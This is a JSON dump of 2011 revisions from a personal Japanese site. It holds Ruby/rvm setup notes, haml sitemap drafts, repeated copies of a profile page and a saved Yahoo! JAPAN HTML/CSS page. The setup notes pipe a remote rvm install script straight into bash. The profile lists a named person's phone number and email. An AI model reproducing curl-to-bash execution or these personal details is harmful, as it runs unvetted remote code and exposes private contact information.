をビルドして管理するツール rvm の導入\r\n bash \u003c \u003c(curl -s https://rvm.beginrescueend.com/install/rvm)\r\n\r\nそしたら .bashrc とか .zshrc とか使ってるシェルの設定ファイルに\r\n\r\n if [[ -s ${HOME}/.rvm/scripts/rvm ]] ; then source ${HOME}/.rvm/scripts/rvm ; fi\r\n\r\nと書いて\r\n\r\n source ~/.bashrc(or .zshrc or .cshrc)\r\n\r\n\r\nなどとしましょう。 csh とか使ってる場合は表記適宜変えてください\r\n\r\n最後に Ruby をビルドします。\r\n \r\n rvm install 1.9.2\r\n gem install bundler\r\n\r\n### fig の導入\r\nfig を clone してきたディレクトリで\r\n \r\n rvm use 1.9.2\r\n bundle install --path=vendor/bundle\r\n bundle exec ruby setup.rb\r\n\r\nとすると今度こそ使えると思います。なお fig を使う時はかならず\r\n \r\n rvm use 1.9.2\r\n\r\nをしてください\r\n","created_at":"2011-05-16T13:27:04.000Z","updated_at":"2011-05-16T13:27:04.000Z"},{"id":1533,"name":"sitemap","body":"haml\r\nPage.all.each do |p|\r\n =p.name","created_at":"2011-05-16T13:28:23.000Z","updated_at":"2011-05-16T13:28:23.000Z"},{"id":1534,"name":"sitemap","body":"haml\r\n-Page.all.each do |p|\r\n =p.name","created_at":"2011-05-16T13:28:36.000Z","updated_at":"2011-05-16T13:28:36.000Z"},{"id":1535,"name":"sitemap","body":"haml\r\n-Page.select(\"distinct name\") each do |p|\r\n =p.name","created_at":"2011-05-16T13:28:58.000Z","updated_at":"2011-05-16T13:28:58.000Z"},{"id":1536,"name":"sitemap","body":"haml\r\n-Page.select(\"distinct name\").each do |p|\r\n =p.name","created_at":"2011-05-16T13:29:05.000Z","updated_at":"2011-05-16T13:29:05.000Z"},{"id":1537,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=p.name\r\n","created_at":"2011-05-16T13:30:43.000Z","updated_at":"2011-05-16T13:30:43.000Z"},{"id":1538,"name":"fig_for_hayap","body":"## 散々いろいろやっても入らなかった理由\r\n* fig が Ruby の開発者用パッケージに依存してるから\r\n\r\n## 解決策\r\nソースから Ruby を入れよう。難しくないです\r\n\r\n###1. 依存する deb パッケージの導入\r\n sudo apt-get update\r\n sudo apt-get install autoconf autotools-dev build-essential curl git-core libexpat1-dev libbz2-dev libncurses5-dev libreadline5-dev libsasl2-dev libssl-dev libxml2-dev libxslt1-dev ruby rubygems unzip zlib1g zlib1g-dev libhaml-ruby libsqlite3-dev\r\n\r\n微妙に関係ないものも入れてる気はしますが気にしないようにしましょう\r\n\r\n###2. Ruby をビルドして管理するツール rvm の導入\r\n bash \u003c \u003c(curl -s https://rvm.beginrescueend.com/install/rvm)\r\n\r\nそしたら .bashrc とか .zshrc とか使ってるシェルの設定ファイルに\r\n\r\n if [[ -s ${HOME}/.rvm/scripts/rvm ]] ; then source ${HOME}/.rvm/scripts/rvm ; fi\r\n\r\nと書いて\r\n\r\n source ~/.bashrc(or .zshrc or .cshrc)\r\n\r\n\r\nなどとしましょう。 csh とか使ってる場合は表記適宜変えてください\r\n\r\n最後に Ruby をビルドします。\r\n \r\n rvm install 1.9.2\r\n rvm use 1.9.2\r\n gem install bundler\r\n\r\n### fig の導入\r\nfig を clone してきたディレクトリで\r\n \r\n bundle install --path=vendor/bundle\r\n bundle exec ruby setup.rb\r\n\r\nとすると今度こそ使えると思います。なお fig を使う時はかならず\r\n \r\n rvm use 1.9.2\r\n\r\nをしてください","created_at":"2011-05-16T13:47:32.000Z","updated_at":"2011-05-16T13:47:32.000Z"},{"id":1539,"name":"comicglass/bad_knowhow","body":"# ディレクトリリストやファイルリストを手書きする時の注意\r\nこれは駄目\r\n \u003ca href='/comic'\u003ecomic\u003c/a\u003e\r\nなので以下のように書きましょう\r\n \u003ca href=\"/comic\"\u003ecomic\u003c/a\u003e\r\n必然的に haml が使えなくなります(もしかしたらなんかオプションあるかもしれないけど未調査)。\r\n\r\nあとファイルへのパスは絶対パスで書くのが多分無難。ダルい。","created_at":"2011-05-18T08:28:54.000Z","updated_at":"2011-05-18T08:28:54.000Z"},{"id":1540,"name":"comicglass/bad_knowhow","body":"title ComicGlass でのバッドノウハウ\r\n# ディレクトリリストやファイルリストを手書きする時の注意\r\nこれは駄目\r\n \u003ca href='/comic'\u003ecomic\u003c/a\u003e\r\nなので以下のように書きましょう\r\n \u003ca href=\"/comic\"\u003ecomic\u003c/a\u003e\r\n必然的に haml が使えなくなります(もしかしたらなんかオプションあるかもしれないけど未調査)。\r\n\r\nあとファイルへのパスは絶対パスで書くのが多分無難。ダルい。","created_at":"2011-05-18T08:33:40.000Z","updated_at":"2011-05-18T08:33:40.000Z"},{"id":1541,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-05-18T08:39:19.000Z","updated_at":"2011-05-18T08:39:19.000Z"},{"id":1542,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-05-18T08:39:24.000Z","updated_at":"2011-05-18T08:39:24.000Z"},{"id":1543,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)\r\n\r\n# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa","created_at":"2011-05-18T08:39:46.000Z","updated_at":"2011-05-18T08:39:46.000Z"},{"id":1544,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-05-18T08:39:54.000Z","updated_at":"2011-05-18T08:39:54.000Z"},{"id":1545,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-05-18T09:14:22.000Z","updated_at":"2011-05-18T09:14:22.000Z"},{"id":1546,"name":"acme/youpy.css","body":"html\r\n\r\n\u003c!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\"\u003e \r\n\u003chtml lang=\"ja\"\u003e \r\n\u003chead\u003e \r\n\u003cmeta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\"\u003e \r\n\u003cmeta http-equiv=\"content-style-type\" content=\"text/css\"\u003e \r\n\u003cmeta http-equiv=\"content-script-type\" content=\"text/javascript\"\u003e \r\n\u003cmeta name=\"description\" content=\"日本最大級のポータルサイト。検索、オークション、ニュース、メール、コミュニティ、ショッピング、など80以上のサービスを展開。あなたの生活をより豊かにする「ライフ・エンジン」を目指していきます。\"\u003e \r\n\u003ctitle\u003eYahoo! JAPAN\u003c/title\u003e \r\n\u003cbase href=\"http://www.yahoo.co.jp/_ylh=X3oDMTB0NWxnaGxsBF9TAzIwNzcyOTYyNjUEdGlkAzEyBHRtcGwDZ2Ex/\"\u003e \r\n\u003cstyle type=\"text/css\"\u003e\u003c!--\r\nbody,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,p,blockquote{margin:0;padding:0;}fieldset,img{border:0;}table{border-collapse:collapse;border-spacing:0;}address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:normal;}ol,ul{list-style:none;}.separate,.floatingw,legend{display:none;}button{cursor:pointer;}body{font-family:\"MS PGothic\",\"Osaka\",Arial,sans-serif;line-height:1.22;font-size:12px;text-align:center;}table{font-size:inherit;font:100%;}pre,code,kbd,samp,tt{font-family:monospace;line-height:99%;}h1,h2,h3,h4,h5{font-size:100%;}.contentbox2nd h2,#spotlight h2{font-size:131%;}#emg table{font-size:115%;}span.assist,#topicsboxbd em,#topicsboxbd cite,#vdobd em,#olymEdit cite{font-size:85%;}#navi .hd h2,#local h2 span,#personalbox h3{font-weight:normal;}a,ul.tab a:visited{color:#1d3994;text-decoration:none;}a:visited{color:#941d55;}a:hover{text-decoration:underline;}button{cursor:pointer;}#wrapper{position:relative;min-width:950px;width:74.2em;*width:71.2em;margin:0 auto;}#header{position:relative;z-index:10;padding-bottom:4px;*zoom:1;}#header:after{content:\"\";display:block;clear:both;}#contents{text-align:left;overflow:hidden;*zoom:1;}#navi{float:left;position:relative;z-index:8;width:17.94%;min-width:170px;}#division{float:right;position:relative;z-index:2;min-width:770px;width:81%;}#main{float:left;min-width:410px;width:53.3%;}#sub{float:right;min-width:350px;width:45.45%;}.bgD,.item li,.emphasis li,.connect li,.ranking li,.pldwn,.plup,.prev,.next,.iconNew,.iconPhoto,.iconVideo,.iconNotice,.close a,.ulmwindow .ulmbg,.ulmwindow .ulmwindowsearch button,.vdotmp2,.changeBtn,.changeBtn a,#centralPosition dl,#srchAssistOnOff dd,#pblogininfo li a,#yahooservice ul li a,#pbsocial p a,#pbsocialInfo,#pbsocial dd a,#topicsbox .tab li span,#yjidbox h2 a,#pbproperty .shortcut li a,#pbproperty .connect #mailicon,#srchSwitch dd,#contentbox .hd .cbbtn a{background-image:url(http://k.yimg.jp/images/top/sp2/cmn/pic_all-110427.png);background-repeat:no-repeat;}.bx li{margin:7px 0;}.bx,.bxEx{position:relative;margin-bottom:10px;background-color:#fff;border:1px solid;}.bxEx{margin-top:-11px;}.bxNa{margin-bottom:10px;text-align:center;}.bxSl{*zoom:1;padding:7px 7px 3px;}.bxSl h2{margin-bottom:5px;float:left;clear:left;}.bxSl ul{margin-bottom:5px;overflow:hidden;*zoom:1;}.bxSl li{float:left;margin:0;padding-left:0.8em;}.bxSl .more{float:right;}.bxSl p{padding-bottom:4px;}.bxPos{text-align:center;}.bxSl dl{margin-top:-1px;}.bxSl dt{float:left;margin-bottom:3px;}.bxSl dd{margin-left:57px;*zoom:1;}.bxSl dd p{padding:2px 0 5px;}.bxSl dd ul{padding-top:7px;margin-left:-0.8em;}.bxShp{overflow:hidden;padding-bottom:9px;}.bxShp img{float:left;margin:9px 9px 0;}.bxShp .item{margin:14px 0 0 66px;}.bxShp .item li{margin-top:8px;}.bg1{background-position:0 100%;}.bg2{background-position:0 -930px;}.bg3{background-position:0 -2850px;}.bg4{background-position:0 -4220px;}.hd{border-bottom:1px solid;background-color:#fff;background-position:0 -200px;overflow:hidden;*zoom:1;}.hd h2{padding:3px 7px 2px;border:1px solid #fff;border-width:0 1px;}.hd h3{position:absolute;right:10px;top:3px;font-weight:normal;}.bgC{clear:both;padding:4px 5px 4px 10px;border:1px solid;}.bgC li{display:inline;margin-left:1em;}.bgC .first{margin-left:0;}.bgD{background-position:0 -2700px;background-repeat:repeat-x;}.bgI{background-color:#fefbc4;border:1px solid #ffcc01;}.close a{padding-right:20px;background-position:100% -1750px;color:#fff;cursor:pointer;text-decoration:underline;}.clfix{*zoom:1;}.clfix:after{content:\"\";display:block;clear:both;}.item li{padding-left:13px;background-position:0 -1447px;}.emphasis li{padding-left:13px;background-position:0 -1487px;}.connect li{display:inline;padding-left:13px;background-position:0 -1531px;}.connect .first{padding-left:0;background:none;}.symbol a{padding-left:12px;background-repeat:no-repeat;background-position:0 -871px;}.ranking li{padding-left:18px;}.ranking .rnk1{background-position:0 -1050px;}.ranking .rnk2{background-position:0 -1090px;}.ranking .rnk3{background-position:0 -1130px;}.ranking .rnk4{background-position:0 -1170px;}.ranking .rnk5{background-position:0 -1210px;}.ranking .rnk6{background-position:0 -1250px;}.ranking .rnk7{background-position:0 -1290px;}.ranking .rnk8{background-position:0 -1330px;}.ranking .rnk9{background-position:0 -1370px;}.ranking .rnk10{background-position:0 -1410px;}.pldwn,.plup{margin-right:2px;padding-right:13px;background-position:100% -1572px;background-repeat:no-repeat;color:#000;}.plup{background-position:100% -1612px;}.pldwn:visited,.plup:visited{color:#000;}.prev,.next{display:inline-block;*zoom:1;width:8px;height:12px;background-position:-19px -80px;text-indent:-9999px;*text-indent:0;*font-size:0.1;overflow:hidden;}.next{background-position:-38px -80px;}.tab:after{content:\"\";display:block;clear:both;}.tab .on{font-weight:bold;}.tab .first{border-left:0;}.tab li a{outline:none;}.tab .on a,.tab .on a:visited{color:#000;text-decoration:none;}.assist a,.assist a:hover,.assist a:visited{display:block;padding:0 2px;text-decoration:none;}.assist{display:inline-block;border-style:solid;border-width:0 1px 1px 0;}.assist a,.assist a:visited{border:1px solid #9baab1;background:#fff;color:#000;}.assist a:hover{background-color:#ffeb7d;}.imgfilter{display:block;background:no-repeat 0 0;text-indent:-9999px;overflow:hidden;}.bkNum{padding:6px 10px 4px;}.bkNum h3{display:none;float:left;margin:0;}.bkNum dl{float:right;}.bkNum dt,.bkNum dd{float:left;line-height:1;margin-left:3px;}.bkNum dt{padding-top:2px;}.bkNum dd a{display:block;background-color:#fff;padding:2px 4px 1px 5px;outline:none;}.bkNum dd a:hover{text-decoration:none;background-color:#1d3994;color:#fff;}.bkNum dd a.on{background-color:#eee;color:#000;font-weight:bold;cursor:default;}.bkNum dd a.on:hover{background-color:#eee;color:#000;}.overlay{position:absolute;z-index:9;background:#000;filter:alpha(opacity=10);-ms-filter:\"alpha(opacity=10)\";opacity:0.1;}.iconNew,.iconPhoto,.iconVideo,#contentbox ul li .iconNotice{display:inline-block;margin-left:2px;text-indent:-9999px;outline:none;*vertical-align:middle;}.iconNew{height:11px;width:25px;background-position:0 -57px;}.iconPhoto{height:12px;width:12px;margin:0 2px;background-position:-37px -63px;}.iconVideo{height:12px;width:12px;margin:0 2px;background-position:-1px -80px;}#contentbox ul li .iconNotice{background-position:0 -1913px;padding:0;width:16px;height:14px;}#hdBar{position:absolute;z-index:9;top:-1.5em;margin-top:-1px;left:0;width:100%;}#masthead{position:relative;z-index:1;margin-top:1.6em;*margin-top:1.4em;*zoom:1;}h1{position:relative;z-index:5;width:950px;margin:0 auto;padding-top:1px;text-align:center;height:80px;}h1 img{margin:10px 1px 0 0;}h1 .deco{margin:0;}#mhicon{position:absolute;left:50%;top:0;z-index:6;}#mhicon li{position:absolute;}#mhi1st{left:-365px;}#mhi2nd{left:-284px;}#mhi3rd{left:-203px;}#mhi4th{left:149px;}#mhi5th{left:230px;}#mhi6th{left:311px;}#mhicon li a{width:54px;height:54px;margin-top:15px;display:block;text-indent:-9999px;overflow:hidden;}#mhi1st a{background-position:0 -3370px;}#mhi2nd a{background-position:0 -3424px;}#mhi3rd a{background-position:0 -3478px;}#mhi4th a{background-position:0 -3532px;}#mhi5th a{background-position:0 -3586px;}#mhi6th a{background-position:0 -3640px;}#siteinfo{position:absolute;z-index:7;top:12px;right:10px;text-align:left;}#siteinfo li{padding-bottom:2px;}.changeBtn{position:absolute;left:0;z-index:5;border:1px solid #b4bdc3;background-color:#e5eaeb;background-position:0 -2110px;background-repeat:repeat-x;}#changeModeOf{bottom:13px;}#changeMode3d{top:15px;}.changeBtn a{display:inline-block;padding:4px 9px 1px 22px;min-width:60px;_width:55px;_white-space:nowrap;background-position:0 -2151px;border-bottom:1px solid #fff;}#emergency{margin:5px 0 10px;text-align:center;}#emergency .alert{color:#f00;}#emg{margin:0 auto;text-align:center;line-height:1.2;}#emg table{margin:0 auto 10px;}#emg table table{margin-bottom:0;}#emg br{display:none;}#searchbox{background-position:0 -1540px;*zoom:1;}#searchbox form{background-position:0 -1650px;background-repeat:no-repeat;}#searchbox fieldset{background-position:100% -1760px;background-repeat:no-repeat;}#srchbd{position:relative;width:48.8%;min-height:40px;margin:0 auto;padding:13px 0 20px;text-align:left;}#srchbd .tab{position:relative;z-index:9;margin-bottom:5px;min-height:14px;_height:14px;overflow:inherit;}#srchbd .tab li{display:inline;padding:0 5px;border-right:1px solid #ccc;}#srchbd .tab li.first{padding-left:0;}#srchbd ul.tab li#srchMore{position:absolute;vertical-align:top;position:relative;border-right:0;}#srchbd ul.tab li#srchMore .plup,#srchbd ul.tab li#srchMore .pldwn{color:#1D3994;*min-height:13px;_height:13px;*vertical-align:top;}#srchMorefw{position:absolute;top:1.15em;right:6px;z-index:9;padding:0 1px 2px 0;background:#cccccc;}#srchbd ul.tab li ul{padding:6px 0;background:#fff;border:1px solid #9aaabc;*width:7.2em;}#searchbox #srchbd ul.tab li ul li{white-space:nowrap;display:block;padding:0 1px;border-right:0;*zoom:1;}#srchbd ul.tab li ul li a{display:block;*zoom:1;*height:auto;padding:3px 8px;}#srchbd ul.tab li ul li a:hover{background-color:#1d3994;color:#fff;text-decoration:none;}#srchbd ul.tab li ul li.last{margin-top:3px;border-top:1px solid #cccccc;}#srchbd ul.tab li ul li.last a{margin-top:3px;}#srchbd p{clear:both;overflow:hidden;}#srchtxtBg{line-height:0;width:74.4%;min-width:346px;display:block;float:left;border:solid #7c7c7c;border-width:1px 0 0 1px;*zoom:1;}#srchtxt{float:left;width:100%;_width:97.5%;*height:16px;min-height:16px;padding:2px 5px 3px;border:1px solid #c3c3c3;background-color:#fff;}#srchbtn{float:left;width:24.5%;padding:3px 0 2px;border:1px solid;background-position:0 -801px;font-weight:bold;letter-spacing:0.5em;cursor:pointer;line-height:1.32;min-height:24px;}#srchAssist{clear:left;width:74.8%;min-width:347px;position:absolute;top:73.5%;}#srchAssistBd{border:solid #7c7c7c;border-width:1px 2px 0 1px;background-color:#fff;*zoom:1;}#srchAssist li{line-height:1;}#srchAssist li a{color:#000;padding:4px 6px 5px;*padding:4px;display:block;cursor:pointer;*zoom:1;}#srchAssist li .on{background-color:#1d3994;color:#fff;}#srchAssistTxt{padding:3px 5px 3px 5px;}#srchAssistOnOff{padding:3px 8px 1px 0;white-space:nowrap;color:#555;font-size:85%;text-align:right;line-height:0;}#srchAssistOnOff dt{display:inline;line-height:1;}#srchAssistOnOff dd{display:inline;line-height:1;padding-left:13px;background-position:0 -1533px;font-weight:bold;color:#000;*zoom:1;}#srchAssistOnOff dd a{font-weight:normal;}#srchAssistOnOff dd.first{background:none;}#srchAssistClose,#srchacb,#srchAssistClose span{display:block;height:11px;background-repeat:no-repeat;cursor:pointer;overflow:hidden;line-height:0;text-indent:-9999px;}#srchAssistClose{background-position:100% -3344px;}#srchacb{background-position:0 -3300px;}#srchAssistClose span{margin:0 2px 0 45px;background-repeat:repeat-x;background-position:100% -3322px;}#srchAssistClose.on{background-position:100% -3355px;}.on #srchacb{background-position:0 -3311px;}#srchAssistClose.on span{background-position:100% -3333px;}#uhd{position:relative;height:1.5em;border:1px solid;text-align:center;}#uhdsetstart{position:absolute;left:5px;padding-top:2px;}#uhdassist{position:absolute;right:5px;}#clrEx{float:left;margin:3px 5px 0 0;padding-right:5px;border-right:1px solid #ccc;line-height:1;}#clr{float:left;}#clr li{float:left;margin:3px 5px 0 0;border-style:solid;border-width:1px;line-height:0;}#clr li a{display:block;*float:left;width:6px;height:6px;border-style:solid;border-width:2px;overflow:hidden;text-indent:-9999px;}#clr1{border-color:#a2b6d8;}#clr1 a{background-color:#c8d2e7;border-color:#c8d2e7;}#clr2{border-color:#d49fc9;}#clr2 a{background-color:#fbcaf0;border-color:#fbcaf0;}#clr3{border-color:#ffbc6d;}#clr3 a{background-color:#ffdaa4;border-color:#ffdaa4;}#clr4{border-color:#4ec346;}#clr4 a{background-color:#95da75;border-color:#95da75;}#clr5{border-color:#bdbdbd;}#clr5 a{background-color:#d6d6d6;border-color:#d6d6d6;}#clr6{border-color:#c4defa;}#clr6 a{background-color:#edf4f8;border-color:#edf4f8;}#clr1 .on,#clr1 a:hover{background-color:#6179a0;}#clr2 .on,#clr2 a:hover{background-color:#ef64c8;}#clr3 .on,#clr3 a:hover{background-color:#ff882b;}#clr4 .on,#clr4 a:hover{background-color:#1e880b;}#clr5 .on,#clr5 a:hover{background-color:#737373;}#clr6 .on,#clr6 a:hover{background-color:#c8d2e7;}#uhdassist .help{float:left;margin-top:2px;}#uhdassist .help a{border-left:1px solid #ccc;padding-left:5px;line-height:1em;}#toptxt{position:relative;z-index:7;margin:0 0 8px -1.8em;text-align:center;}#toptxt li{display:inline;margin-left:1.8em;}#navi #contentbox{border-top:0;}#contentbox .hd{border-top:1px solid;position:static;}#contentbox .hd .cbbtn{float:left;margin-top:1px;padding:1px;border-right:1px solid;}#contentbox .hd .cbbtn span{border-right:1px solid #fff;}#contentbox .hd .cbbtn a{display:block;width:10px;height:10px;padding:3px 4px;text-indent:-9999px;overflow:hidden;}#cbbtntop{background-position:0 -110px;}#cbbtnbtm{background-position:-20px -110px;}#contentbox .changepos h2{padding-left:25px;}#contentbox .hd span.assist{float:right;margin-top:2px;margin-right:1px;}#contentbox ul{padding:2px 3px 0;*zoom:1;}#contentbox ul li{margin:1px 0;padding:3px 0;_zoom:1;}#contentbox ul li a{padding:3px 0 3px 20px;background-repeat:no-repeat;}.cbysC1{background-position:0 -251px;}.cbysC2{background-position:0 -291px;}.cbysC5{background-position:0 -331px;}.cbysC12{background-position:0 -371px;}.cbysC13{background-position:0 -412px;}.cbysC14{background-position:0 -452px;}.cbysC15{background-position:0 -492px;}.cbysC25{background-position:0 -533px;}.cbysC26{background-position:0 -211px;}.cbysC33{background-position:0 -572px;}.cbysC34{background-position:0 -612px;}.cbysC41{background-position:0 -652px;}.cbysC73{background-position:0 -692px;}.cbysC48{background-position:0 -730px;}.cbysC37{background-position:0 -770px;}.cbysC53{background-position:0 -812px;}.cbysC57{background-position:0 -852px;}.cbysC46{background-position:0 -892px;}.cbysC44{background-position:0 -930px;}.cbysC87{background-position:0 -970px;}.cbysC97{background-position:0 -1010px;}#favoriteservice ul li a{background-position:0 50%;}#application span{display:block;margin-bottom:2px;text-align:center;}#application p{padding:5px 8px 7px;line-height:1.3;}#cb2bgcx{position:absolute;left:0;*left:-2px;top:-1px;z-index:1;border:0;overflow:hidden;}#cb2bg{position:absolute;top:0;right:0;min-width:590px;width:46em;border:2px solid #ccc;border-width:0 2px 2px 0;background-color:#fff;}#checknumber,.cb2moreservice{width:100%;}.cb2ndhd{min-height:4em;_height:3.7em;}#checknumber .checkmax,.cb2moreservice .changemode{float:left;padding-left:10px;}#checknumber .checknow,.cb2moreservice .more{float:right;padding-right:10px;}.cb2moreservice{height:2.7em;*background-color:#fff;}.cb2moreservice .changemode{font-weight:bold;}.contentbox2nd{border:1px solid;color:#fff;background-position:0 -2050px;background-color:#fff;}.contentbox2nd h2{padding:5px 10px;color:#fff;}.contentbox2nd strong{color:#f00;}.contentbox2nd .cb2detail{margin:0 10px;border:1px solid #ccc;background:#fff;color:#000;}.cb2allservice{position:relative;z-index:2;padding:0 2px 5px 2px;background:#f0f3fa;overflow:hidden;*zoom:1;}#cb2yjedit .cb2allservice{background:#fffddb;}.contentbox2nd h3{clear:both;padding:4px 0 3px;}.cb2allservice ul li,#cb2worldservice ul li{position:relative;z-index:1;display:inline;float:left;width:20%;margin-bottom:3px;}#cb2yjedit .cb2allservice ul{*margin-top:-3px;*margin-bottom:4px;margin-bottom:3px;}#cb2yjedit .cb2allservice ul li{*margin-bottom:-3px;}.cb2allservice ul li *{vertical-align:middle;}.cb2allservice ul li label *{*vertical-align:baseline;}.cb2allservice ul li.on{color:#f00;font-weight:bold;letter-spacing:-1px;}.cb2allservice ul li.off{color:#999;}.cb2allservice ul li.off input{visibility:hidden;}.cb2etc{padding:0 2px;}.cb2moreservice{clear:both;}.contentbox2nd span.close 